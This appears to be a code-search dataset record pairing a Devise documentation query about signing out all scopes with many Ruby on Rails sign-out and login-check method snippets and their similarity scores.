"def sign_out_and_redirect(resource_or_scope)\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n sign_out(scope)\n request.headers.has_key?(\"REMOTE_USER\") ? (render :template => \"sessions/destroy\") : (redirect_to after_sign_out_path_for(scope))\n end",
"def sign_out\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n session.delete(:user_id)\n current_user = nil\n end",
"def sign_out\n session.delete(:user_id)\n @current_user = nil\nend",
"def sign_out\n forget current_user\n session[:user_id] = nil\n end",
"def sign_out\n session[:user_id] = nil \n session.delete(:user)\n end",
"def sign_out_and_redirect(resource_or_scope); end",
"def sign_out\n\t\tcookies.delete(:remember_token)\n\t\tcurrent_user = nil\n\tend",
"def sign_out\n\n # mark them as signed out.\n # (this is a helper method of devise, the rails ruby gem we're using for\n # authentication in the sample app.)\n # \n # \n #session_sign_out <---- NEED TO CHANGE TO CUSTOM USER SIGN OUT\n\n # send them back to the homepage.\n redirect_to root_path\n\n end",
"def sign_out\n @current_user = nil\n end",
"def sign_out\n cookies.permanent[:auth_token] = nil\n session[:scope_id] = session[:scope_type] = session[:redirect] = nil\n end",
"def ensure_signed_out\n return unless current_user\n flash[:error] = 'You are already signed out!'\n redirect_to users_path\n end",
"def sign_out_and_redirect(resource_or_scope)\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n sign_out(scope)\n redirect_to after_sign_out_path_for(scope)\n end",
"def sign_out\n @logout = true\n authenticate_api_user\n @logout = false\n revoke_access if @current_user\n head :no_content\n end",
"def sign_out\n session[:user_id] = nil\n end",
"def logout\n payload = delete_session(params[:user_id], params[:session_token], params[:csrf_token])\n if payload == :SESSION_DELETED\n notify_session(\"SESSION_END_NOTICE\", {reason: \"LOGOUT\"}, params[:session_token])\n render status: 200, json: {error: false}\n elsif payload == :SESSION_NO_AUTH\n render status: 403, json: {error: true}\n else\n render status: 404, json: {error: true}\n end\n end",
"def sign_out\n session[:user_id] = nil\n end",
"def logout\n if @signed_in_user\n session.delete(:signed_in_user_id)\n end\n redirect_to users_home_path\n end",
"def sign_out\n\t\t\n\t\t# Set the current_user for session to nil\n\t\tself.current_user = nil\n\n\t\t# Destroy cookie with hash remember_token\n\t\t# essentially letting the browser forget the user\n\t\tcookies.delete(:remember_token)\n\tend",
"def destroy\n session[:user_id] = nil\n\n flash[:notice] = t(:successfully_logged_out)\n redirect_to \"#{CUSTOM_PROVIDER_URL}/users/sign_out\"\n end",
"def sign_out\n\t\t@current_user = nil\n\t\tcookies.delete :remember_token\n\tend",
"def destroy\n session[:user_id] = nil\n\n flash[:notice] = 'You have successfully signed out!'\n redirect_to \"#{CUSTOM_PROVIDER_URL}/users/sign_out\"\n end",
"def sign_out\n current_session.destroy if current_session\n @current_session = nil\n end",
"def signout \n\t if current_user\n\t session[:identity] = nil\n\t session[:authentication_id] = nil\n\t session.delete :identity\n\t session.delete :authentication_id\n\t flash[:notice] = 'You have been signed out!'\n\t end \n\t redirect_to root_url\n\t end",
"def logout\n session[:user_id] = nil\n\n flash[:notice] = 'You have logged off'\n return_to = params[:return_to] || root_url\n redirect_to \"#{CUSTOM_PROVIDER_URL}/users/sign_out?redirect_uri=#{CGI.escape return_to}\"\n end",
"def signout\n session.delete(:user_id)\n @current_user = nil\n end",
"def sign_out(resource_or_scope)\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n warden.user(scope) # Without loading user here, before_logout hook is not called\n warden.raw_session.inspect # Without this inspect here. The session does not clear.\n warden.logout(scope)\n end",
"def logout\n return false unless self.logged_in?\n self.remote_call('logoutUser', self.session_id)\n @session_id = nil\n @logged_in_user = nil\n true\n end",
"def sign_out_user(user)\n user.session_id = ''\n user.save\n cookies.delete :session_id\n end",
"def log_out\n if !current_user.nil?\n forget(current_user)\n\n session.delete(:user_id)\n session.delete(:user_type)\n @current_user = nil\n end\n end",
"def verify_signed_out_user\n user = User.find_by(user_params)\n sign_in(user) and return if user\n \n render status: :not_found\n end",
"def sign_out_and_redirect!(return_to = \"/\")\n sign_out_user\n redirect_to sign_out_url(return_to)\n end",
"def signed_out_user\n redirect_to root_path unless !user_signed_in?\n end",
"def logged_out?\n session[:user_id].nil?\n end",
"def logout\n # clear all scopes\n sign_out_all_scopes\n\n # set redirect_url => sign in page\n redirect_url = new_user_session_url\n # when url-querys has logout_redirect_uri & client_id parameters\n if params[:logout_redirect_uri] && params[:client_id]\n # load oauth application\n application = Doorkeeper::Application.find_by(uid: params[:client_id])\n # check logout_redirect_uri\n # 1. application of client_id exist\n # 2. application.logout_redirect_uri present\n # 3. application.logout_redirect_uri includes params[:logout_redirect_uri]\n # set redirect_url = params[:logout_redirect_uri]\n if application && application.logout_redirect_uri.present?\n if Doorkeeper::OAuth::Helpers::URIChecker.valid_for_authorization?(params[:logout_redirect_uri], application.logout_redirect_uri)\n redirect_url = params[:logout_redirect_uri]\n end\n elsif application && application.redirect_uri.blank?\n redirect_url = params[:logout_redirect_uri]\n end\n end\n redirect_to redirect_url\n end",
"def sign_out\n request.session.delete(:authorized)\n end",
"def signout\n\t\tself.current_user = false \n\t\tflash[:notice] = \"You have been logged out.\"\n\t\tredirect_to root_url\n\tend",
"def sign_out_user\n self.current_user = nil\n cookies.delete(:remember_token)\n end",
"def sign_out_user(user)\n visit root_path\n\n click_link 'Sign out'\n end",
"def signout\n self.current_user = nil\n\n redirect_to root_path\n end",
"def sign_out\n arguments = { \"token\" => token }\n response = Services::Web.post user: self, service: 'User Data Service', endpoint: 'Authentication', method: 'signOut', arguments: arguments\n @token = nil if response.status == 200\n nil\n end",
"def sign_out\n current_user = nil\n cookies.delete(:remember_token)\n end",
"def sign_out\n current_user = nil\n cookies.delete(:remember_token)\n end",
"def sign_out\n current_user = nil\n cookies.delete(:remember_token)\n end",
"def sign_out\n\t\tcurrent_user.update_attribute( :remember_token,\n\t\t\t\t\t\t\t\t\t User.digest(User.new_remember_token ))\n\t\tcookies.delete(:remember_token)\n\t\tself.current_user = nil\n\tend",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n flash[:success] = \"You have successfully logged out.\"\n end",
"def sign_out\n cookies.delete(:remember_token)\n self.current_user = nil\n end",
"def sign_out\n\t\tself.current_user = nil\n\t\tcookies.delete(:remember_token)\n\tend",
"def log_out\n session.delete(:user_credentials)\n @current_user = nil\n end",
"def sign_out\n\tcookies.delete(:remember_token)\n\tcurrent_user = nil\n end",
"def sign_out\n post \"api/logout\"\n @me = nil\n end",
"def sign_out\n current_user.update_attribute(:remember_token,\n User.digest(User.new_remember_token))\n cookies.delete(:remember_token)\n self.current_user = nil\n end",
"def logout\n sign_out(current_account)\n end",
"def sign_out(*args)\n warden.logout(*args)\n end",
"def signout \n if current_user\n session[:user_id] = nil\n session[:service_id] = nil\n session.delete :user_id\n session.delete :service_id\n flash[:notice] = 'You have been signed out!'\n end \n redirect_to root_url\n end",
"def signout\n session.clear\n end",
"def sign_out\n reset_session\n end",
"def logging_out?\n current_account.present? && controller_name == 'sessions' && action_name == 'destroy'\n end",
"def sign_out\n self.current_user = nil\n cookies.delete(:remember_token)\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def user_log_out\n user_forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def sign_out\n @request.env[:clearance].sign_out\n end",
"def destroy\n session[:user_id] = nil\n\n redirect_to \"#{SSOClient.provider_url}/users/sign_out?back=#{URI::encode(main_app.root_url)}\",\n notice: t(\"sso_client.messages.logged_out\")\n end",
"def sign_out\n\n\t\t# Current user now is new.\n\t\tself.current_user = nil\n\n\t\t# The data cookies are deleted.\n\t\tcookies.delete(:remember_token)\n\tend",
"def sign_out\n\t\tself.current_user = nil \n\t\tcookies.delete(:remember_token)\n\tend",
"def destroy\n session[:user_id] = nil\n # alerts the user that the signout has been successful\n flash[:success] = \"You have successfully logged out!\"\n # redirects user to homepage\n redirect_to root_path\n end",
"def sign_out\r\n self.current_user = nil\r\n cookies.delete(:remember_token)\r\n end",
"def sign_out\n self.current_user = nil\n cookies.delete(:remember_token)\n end"
] | [
"0.6739624",
"0.6654081",
"0.6633607",
"0.6633607",
"0.6621985",
"0.64869946",
"0.6467333",
"0.64437497",
"0.6433618",
"0.64320564",
"0.6425929",
"0.6400286",
"0.63965666",
"0.6380197",
"0.6360218",
"0.6354883",
"0.63337255",
"0.63320184",
"0.6327396",
"0.6322863",
"0.63153136",
"0.63009727",
"0.62875736",
"0.6285802",
"0.6285672",
"0.6273824",
"0.6266811",
"0.6247104",
"0.62365687",
"0.6233305",
"0.6224079",
"0.6221421",
"0.62173307",
"0.62094414",
"0.6205119",
"0.61893326",
"0.61858374",
"0.61807066",
"0.61778474",
"0.6160935",
"0.6154604",
"0.612563",
"0.6119943",
"0.6102887",
"0.6099875",
"0.609087",
"0.6081454",
"0.6079901",
"0.6079091",
"0.6073885",
"0.6069889",
"0.60642254",
"0.60642254",
"0.60642254",
"0.6060016",
"0.6058486",
"0.60529435",
"0.6051636",
"0.6049491",
"0.6043578",
"0.6043077",
"0.6042361",
"0.60390484",
"0.60383016",
"0.6036612",
"0.6036219",
"0.6022735",
"0.601827",
"0.60177463",
"0.60127217",
"0.60127217",
"0.60127217",
"0.60127217",
"0.60127217",
"0.60127217",
"0.60127217",
"0.60127217",
"0.60127217",
"0.60127217",
"0.60127217",
"0.60127217",
"0.60127217",
"0.60127217",
"0.60127217",
"0.60127217",
"0.60127217",
"0.60127217",
"0.60127217",
"0.60127217",
"0.60127217",
"0.60127217",
"0.60127217",
"0.6012022",
"0.6000328",
"0.6000182",
"0.5996073",
"0.59929866",
"0.5983993",
"0.59763026",
"0.5974738",
"0.597405"
] | 0.0 | -1 |
Sign out all active users or scopes. This helper is useful for signing out all roles in one click. This signs out ALL scopes in warden. Returns true if there was at least one logout and false if there was no user logged in on all scopes. source://devise//lib/devise/controllers/sign_in_out.rb95 | def sign_out_all_scopes(lock = T.unsafe(nil)); end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def logout_all\r\n\t\tif(!user_signed_in?)\r\n\t\t\tflash.notice = I18n.t('devise.sessions.already_signed_out')\r\n\t\t\tredirect_to root_path and return\r\n\t\tend\r\n\t\t\r\n\t\tsign_out current_user\r\n\t\tflash.notice = I18n.t('devise.sessions.signed_out')\r\n\t\tredirect_to root_path # also find sessions/tokens from all browsers\r\n\tend",
"def logout_auth_all\r\n\t\tsign_out current_user if(user_signed_in?)\r\n\t\tredirect_to SERVICE_AUTH_URL_SIGN_OUT\r\n\tend",
"def logout(scopes=nil)\n scopes ? warden.logout(scopes) : warden.logout(warden.config.default_scope)\n end",
"def logout(scopes=nil)\n scopes ? warden.logout(scopes) : warden.logout(warden.config.default_scope)\n end",
"def sign_out\n cookies.permanent[:auth_token] = nil\n session[:scope_id] = session[:scope_type] = session[:redirect] = nil\n end",
"def destroy_all\n unless current_user.nil?\n #current_user.events.delete_all # why this line doesn't work on production, seriously?\n Event.delete_all(user_id: current_user.id)\n redirect_to :back, notice: \"All events have been deleted.\"\n else\n redirect_to :back, alert: \"Deleting an event is restricted to logged-in users.\"\n end\n end",
"def user_logout_all(opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: UserApi#user_logout_all ...\"\n end\n\n # resource path\n path = \"/user/logoutAll\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json', 'application/x-www-form-urlencoded']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n\n\n auth_names = []\n @api_client.call_api(:POST, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if Configuration.debugging\n Configuration.logger.debug \"API called: UserApi#user_logout_all\"\n end\n return nil\n end",
"def clear_all_reviewer_sessions!\n reviewer_access_sessions.delete_all\n end",
"def remove_all_authentications\n current_user.authentications = []\n current_user.save\n render :text => \"Your Auths Are Destroy\"\n end",
"def delete_all_cookies\n @browser.clear_cookies\n end",
"def cleanup\n Authie.notify(:cleanup) do\n # Invalidate transient sessions that haven't been used\n active.where('expires_at IS NULL AND last_activity_at < ?',\n Authie.config.session_inactivity_timeout.ago).each(&:invalidate!)\n # Invalidate persistent sessions that have expired\n active.where('expires_at IS NOT NULL AND expires_at < ?', Time.now).each(&:invalidate!)\n end\n true\n end",
"def sign_out(*args)\n warden.logout(*args)\n end",
"def verify_signed_out_user\n if all_signed_out?\n set_flash_message! :notice, :already_signed_out\n\n redirect_to (Devise.saml_sign_out_success_url.presence ||\n Devise::SessionsController.new.after_sign_out_path_for(resource_name)), allow_other_host: true\n end\n end",
"def logout!(scope: nil)\n if scope\n warden.logout(scope)\n warden.clear_strategies_cache!(scope: scope)\n else\n warden.logout\n warden.clear_strategies_cache!\n end\n end",
"def logout\n begin\n @api.logout\n cache_token(nil)\n rescue Api::NotAuthorized\n # already logged out, or never logged in\n end\n\n true\n end",
"def sign_out\n request.session.delete(:authorized)\n end",
"def wipe_all\n return unless current_user.user_role.can_delete_users\n\n user_role = UserRole.find_by(name: 'User')\n\n users = user_role.users\n users.each(&:destroy)\n flash[:notice] = 'Sytem Wiped of all normal users'\n redirect_to root_path\n end",
"def sign_out\n logout\n end",
"def sign_out\n session.sign_out\n end",
"def signout\n session.clear\n end",
"def signout\n #Made changes to show feedback form at certain intervals as per discussion & also signout auditors gracefully\n #Author: Ashish Wadekar\n #Date: 16th February 2017\n if @current_user.auditor?\n logout_user\n elsif @current_user.login_count < 6 || @current_user.login_count % 50 == 0\n redirect_to login_logout_feedback_path\n else\n logout_user\n end\n end",
"def sign_out\n reset_session\n @current_user = nil\n end",
"def sign_out\n reset_session\n end",
"def clear_any_logged_in_session\n if logged_in?\n session[:user] = nil\n session[:user_id] = nil\n current_agent = nil\n end\n end",
"def sign_out(resource_or_scope)\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n warden.user(scope) # Without loading user here, before_logout hook is not called\n warden.raw_session.inspect # Without this inspect here. The session does not clear.\n warden.logout(scope)\n end",
"def index\n ActiveUser.destroy_all\n @logins = Login.all\n end",
"def log_out\n session.clear\n cookies.clear\n @current_user = nil\n end",
"def clear_sessions \n sessions.each do |key, session|\n logger.info \"Closing: #{key}\"\n session.close\n end \n sessions.clear \n reset_password\n end",
"def log_out\n forget current_user\n reset_session\n @current_user = nil\n end",
"def logging_out?\n current_account.present? && controller_name == 'sessions' && action_name == 'destroy'\n end",
"def sign_out\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n session.delete(:user_id)\n current_user = nil\n end",
"def sign_out\n @request.env[:clearance].sign_out\n end",
"def sign_out\n @current_user = nil\n end",
"def delete_all_cookies\n $LOG.info \"deleting all cookies\"\n begin\n $driver.manage.delete_all_cookies\n rescue Exception => e\n $LOG.error \"error in deleting cookies :: \" +e.message\n raise \"error in deleting cookies :: \" +e.message\n end\n end",
"def org_logout\n #dbgprint(\"calling org_logout\")\n perform_with_session_expire_retry {\n auth_login unless logged_in?\n http = @http\n path = BSAPI+\"mem/organization/logout?format=xml\"\n headers = get_default_headers\n resp = http.get(path, headers)\n handle_server_response(path, resp, resp.body)\n @active_oid = nil\n true\n }\n end",
"def log_out\n if !current_user.nil?\n forget(current_user)\n\n session.delete(:user_id)\n session.delete(:user_type)\n @current_user = nil\n end\n end",
"def delete_all()\n\t\t\tkparams = {}\n\t\t\tclient.queue_service_action_call('userloginpin', 'deleteAll', 'bool', kparams)\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\treturn client.do_queue()\n\t\tend",
"def sign_out\n current_session.destroy if current_session\n @current_session = nil\n end",
"def sign_out\n forget current_user\n session[:user_id] = nil\n end",
"def log_out\n \tcurrent_user && forget(current_user)\n current_provider && forget(current_provider)\n \tsession.delete(:user_id)\n session.delete(:provider_id)\n \t@current_user = nil\n @current_provider = nil\n end",
"def log_out\n session.delete(:user_email)\n session.delete(:role)\n end",
"def log_out\n session.delete(:user_id)\n session.delete(:user_type)\n session.delete(:user_email)\n @current_user = nil\n end",
"def logout\n return unless logged_in?\n\n user = current_user\n before_logout!\n @current_user = nil\n reset_sorcery_session\n after_logout!(user)\n end",
"def all_scopes\n @all_scopes ||=\n {'identity' => (auth['scope'] || apps_permissions_users_list[user_id].to_h['scopes'].to_a.join(',')).to_s.split(',')}\n .merge(auth['scopes'].to_h)\n end",
"def log_out \n session.clear\n @current_user = nil\n end",
"def logout\n warden.authenticate!(:scope => resource_name)\n end",
"def sign_out\n if @current_user\n session.delete(:user_id)\n redirect_to action: \"index\"\n end\n end",
"def sign_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def verify_signed_out_user\n if all_signed_out?\n set_flash_message! :notice, :already_signed_out\n\n respond_to_on_destroy\n end\n end",
"def verify_signed_out_user\n if all_signed_out?\n set_flash_message! :notice, :already_signed_out\n\n respond_to_on_destroy\n end\n end",
"def signed_out_other_scope(resource)\n ActiveRecord::SessionStore::Session.all(:conditions => ['user_id = ?', resource.id]).compact.each do |s|\n begin\n s.destroy\n rescue\n next\n end\n end\n end",
"def signout\n self.current_user = nil\n\n redirect_to root_path\n end",
"def call(ctx, **)\n warden = ctx[:warden]\n\n if @except.empty?\n warden.logout\n else\n (Devise.mappings.keys - @except).each do |scope|\n warden.logout(scope) if warden.authenticated?(scope: scope)\n end\n end\n\n Macros::Auth::ExpireSessionData.new.call(ctx)\n warden.clear_strategies_cache!\n warden.lock!\n end",
"def logout!\n return unless current_user\n reset_session\n @current_user = nil\n end",
"def send_logouts_to_all_clients\n @@clients.each do |client|\n client.logout_request if !client.sent_logout?\n end\n end",
"def sign_out\n\n # mark them as signed out.\n # (this is a helper method of devise, the rails ruby gem we're using for\n # authentication in the sample app.)\n # \n # \n #session_sign_out <---- NEED TO CHANGE TO CUSTOM USER SIGN OUT\n\n # send them back to the homepage.\n redirect_to root_path\n\n end",
"def log_out\n forget(current_user)\n reset_session\n @current_user = nil\n end",
"def log_out\n forget current_user\n session.delete :user_id\n @current_user = nil\n end",
"def clear_session_user\n return if current_user && current_user.email == saml_user\n request.env['warden'].logout\n redirect_to(root_path)\n end",
"def sign_out\n session.delete :user_id\n @current_user = nil\n end",
"def using_single_sign_out?\n !(browser_session_id.nil? || browser_session_id == \"\")\n end",
"def log_out\n reset_session\n @current_user = nil\n end",
"def idle_session_sign_out\n return @idle_session_sign_out\n end",
"def sign_out\n session.delete(:user_id)\n end",
"def log_out\n session.delete(:email)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_credentials)\n @current_user = nil\n end",
"def destroy\n current_user.authentication_token = nil\n signed_out = (Devise.sign_out_all_scopes ? sign_out : sign_out(resource_name))\n render json: {status:0, data: nil}\n end",
"def verify_signed_out_user\n if all_signed_out?\n #set_flash_message! :notice, :already_signed_out\n\n respond_to_on_destroy\n end\n end",
"def logout\n end_session(current_user)\n redirect_to root_path \n end",
"def sign_out(resource_or_scope); end",
"def sign_out(resource_or_scope); end",
"def clear_users\n\n if self.users.nil? or self.users.empty?\n return false\n else\n self.users = nil\n return true\n end\n end",
"def sign_out_expired_session\n return unless current_user.present?\n return if current_user.last_sign_in_check.present? && current_user.last_sign_in_check <= 5.minutes.ago\n\n current_user.update last_sign_in_check: Time.now\n\n if UniversumSsoClient.signed_out?(current_user.uid)\n session[:user_id] = nil\n @current_user = nil\n clear_iris_session\n end\n end",
"def logout\n if @signed_in_user\n session.delete(:signed_in_user_id)\n end\n redirect_to users_home_path\n end",
"def sign_out\n session[:user_id] = nil \n session.delete(:user)\n end",
"def logout\n clear_login_state\n redirect_to '/'\n end",
"def sign_out\n @logout = true\n authenticate_api_user\n @logout = false\n revoke_access if @current_user\n head :no_content\n end",
"def sign_out\n session.delete(:user_id)\n @current_user = nil\nend",
"def signout\n self.oaw_signout\n redirect_to root_url\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n session.delete(:user_type_string)\n @current_user = nil\n end",
"def signed_out_user\n redirect_to root_path unless !user_signed_in?\n end",
"def sign_out\n current_user = nil\n cookies.delete(:remember_token)\n end",
"def sign_out\n current_user = nil\n cookies.delete(:remember_token)\n end",
"def sign_out\n current_user = nil\n cookies.delete(:remember_token)\n end",
"def signout\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end"
] | [
"0.7194551",
"0.67035425",
"0.6154101",
"0.6154101",
"0.5812138",
"0.5664051",
"0.5632292",
"0.557526",
"0.55351365",
"0.5525054",
"0.5517817",
"0.54938316",
"0.5472924",
"0.5429128",
"0.5426166",
"0.54034615",
"0.5391479",
"0.53559595",
"0.53539765",
"0.53437245",
"0.53250307",
"0.5307999",
"0.53052866",
"0.5304633",
"0.5303271",
"0.5276023",
"0.52543837",
"0.5235544",
"0.52327085",
"0.5220909",
"0.52182174",
"0.52164626",
"0.5215466",
"0.52151954",
"0.5209094",
"0.520563",
"0.5205194",
"0.52038795",
"0.5203593",
"0.5202043",
"0.52019453",
"0.5190152",
"0.5185717",
"0.51708305",
"0.5165941",
"0.51568323",
"0.51448333",
"0.51398444",
"0.51371276",
"0.51371276",
"0.5129977",
"0.51255244",
"0.5115114",
"0.5114627",
"0.51114994",
"0.5111346",
"0.51078343",
"0.5107464",
"0.51031536",
"0.5102611",
"0.5093426",
"0.5079806",
"0.5074598",
"0.506915",
"0.50563574",
"0.5055646",
"0.50520515",
"0.50475013",
"0.5046881",
"0.50447035",
"0.50447035",
"0.5043417",
"0.50357753",
"0.50343883",
"0.5032647",
"0.5031954",
"0.50311935",
"0.5029255",
"0.5024738",
"0.5018571",
"0.50177574",
"0.5016383",
"0.5016383",
"0.5016383",
"0.50152665",
"0.5014279",
"0.5014279",
"0.5014279",
"0.5014279",
"0.5014279",
"0.5014279",
"0.5014279",
"0.5014279",
"0.5014279",
"0.5014279",
"0.5014279",
"0.5014279",
"0.5014279",
"0.5014279",
"0.5014279"
] | 0.712225 | 1 |
Return true if the given scope is signed in session. If no scope given, return true if any scope is signed in. This will run authentication hooks, which may cause exceptions to be thrown from this method; if you simply want to check if a scope has already previously been authenticated without running authentication hooks, you can directly call `warden.authenticated?(scope: scope)` | def signed_in?(scope = T.unsafe(nil)); end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def signed_in?(scope)\n warden.authenticate?(:scope => scope)\n end",
"def authenticated?(scope=nil)\n scope ? warden.authenticated?(:scope => scope) : warden.authenticated?\n end",
"def authenticated?(scope=nil)\n scope ? warden.authenticated?(scope) : warden.authenticated?\n end",
"def authenticated?\n !!session[:user]\n end",
"def authenticated?(*args)\n warden.authenticated?(*args)\n end",
"def authenticated?(*args)\n warden.authenticated?(*args)\n end",
"def user_signed_in?\n session[:user_id].present? && User.find_by(id: session[:user_id])\n end",
"def signed_in?\n # Force sign in again if defined\n @resignin, @session_id, Base.session_id = nil if @resignin\n\n is_signed_in = (@session_id || Base.session_id) ? true : false\n @resignin = nil if is_signed_in\n is_signed_in\n end",
"def logged_in?\n auth_session.is_a?(Session)\n end",
"def is_logged_in?\n session[:authenticated]\n end",
"def logged_in?\n session[:session_token] == @current_user.session_token\n end",
"def authenticated?(*args)\n warden.authenticated?(*args)\n end",
"def user_signed_in?\n !!session[:user_id]\n end",
"def authorized?(scope = @config.default_scope)\n result = !!permissions(scope)\n yield if block_given? && result\n result\n end",
"def user_signed_in?\n session.has_key? :user_id\n end",
"def anybody_signed_in?\n Devise.mappings.keys.any? { |scope| signed_in?(scope) }\n end",
"def signed_in?\n !current_user.nil?\n #!session[:user_id].nil? || session[:user_id] <= 0\n end",
"def logged_in?\n session[:authorized] == true\n end",
"def has_scope?(scope)\n access_token && access_token.scopes.include?(scope)\n end",
"def signed_in?\n authenticated?\n end",
"def scoped?\n !!scope\n end",
"def is_logged_in_user?\n session[:user_authenticated]\n end",
"def logged_in?\n # An unlogged rforce binding has a session_id defined as nil\n # Does not handle session expiration however\n [email protected]_variable_get(:@session_id)\n end",
"def user_signed_in?\n session[:user_id] != nil\n end",
"def user_signed_in?\n session[:user_id] != nil\n end",
"def logged_in?\n\tsession[:user] and CTRL.authorize(session[:user], session[:session])\nend",
"def signed_in?\n !current_user.nil? # a user is signed_in if current_user is not nil\n end",
"def signed_in?\n !!current_user\n end",
"def signed_in?\n !!current_user\n end",
"def signed_in?\n !!current_user\n end",
"def signed_in?\n !!current_user\n end",
"def user_signed_in?\n session[:user_id].present?\n end",
"def logged_in?\n if session[:username].blank? or\n session[:authenticated].blank? or\n !session[:authenticated]\n return false\n end\n\n return true\n end",
"def logged_in?\n # !! turns this into a boolean, so we DON'T get nil\n !!session[:user_id]\n end",
"def logged_in?\n if session[:username]\n if session[:logged_in?]\n return true\n end\n else\n return false\n end\n end",
"def logged_in?\n return(logged_in_from_session? || logged_in_from_cookie?)\n end",
"def signed_in?\n current_user.present?\n end",
"def signed_in?\n current_user.present?\n end",
"def user_signed_in?\n if request.headers['sid'].present? && !request.headers['sid'].nil? && request.headers['utoken'].present? && !request.headers['utoken'].nil?\n if Session.active_sessions.find_by(id: request.headers['sid'], utoken: request.headers['utoken']).nil?\n return false\n else\n return true\n end\n else\n return false\n end\n end",
"def user_signed_in?\n if request.headers['sid'].present? && !request.headers['sid'].nil? && request.headers['utoken'].present? && !request.headers['utoken'].nil?\n if Session.active_sessions.find_by(id: request.headers['sid'], utoken: request.headers['utoken']).nil?\n return false\n else\n return true\n end\n else\n return false\n end\n end",
"def logged_in?\n !!session[:logged_in]\n end",
"def alchemy_user_signed_in?\n current_alchemy_user.present?\n end",
"def logged_in?\n return false unless session[:user_id]\n\n User.find_by_id(session[:user_id]).present?\n end",
"def logged_in?\n if !session[:user_id].nil?\n return true\n else\n return false\n end\n end",
"def is_logged_in?(session)\n !!session[:user_id]\n end",
"def logged_in?\n signed_in?\n end",
"def logged_in?()\n if session[:user_id]\n return true\n else \n return false\n end\n end",
"def user_signed_in?\n !!current_user\n end",
"def signed_in?\n !!current_user\n end",
"def signed_in?\n !!current_user\n end",
"def is_logged_in?\n session[:user_id].present?\n end",
"def logged_in?\n return session[:user_id].present?\n end",
"def loggedin?\n @session.nil? ? false : (return true)\n end",
"def logged_in?\n user._logged_in?\n end",
"def logged_in?\n session.has_key? :user\n end",
"def logged_in?\n !@session_id.nil?\n end",
"def logged_in?\n !session[:user_id].nil?\n end",
"def logged_in?\n !session[:user_id].nil?\n end",
"def logged_in?\n !session[:user_id].nil?\n end",
"def logged_in?\n !session[:user_id].nil?\n end",
"def signed_in?()\n !current_user.nil?\n end",
"def user_authenticated?\n !session[:user_id].nil?\n end",
"def signed_in?\n current_user.present?\n end",
"def signed_in?\n !current_user.nil?\n end",
"def user_signed_in?\n current_user.present?\n end",
"def user_signed_in?\n current_user.present?\n end",
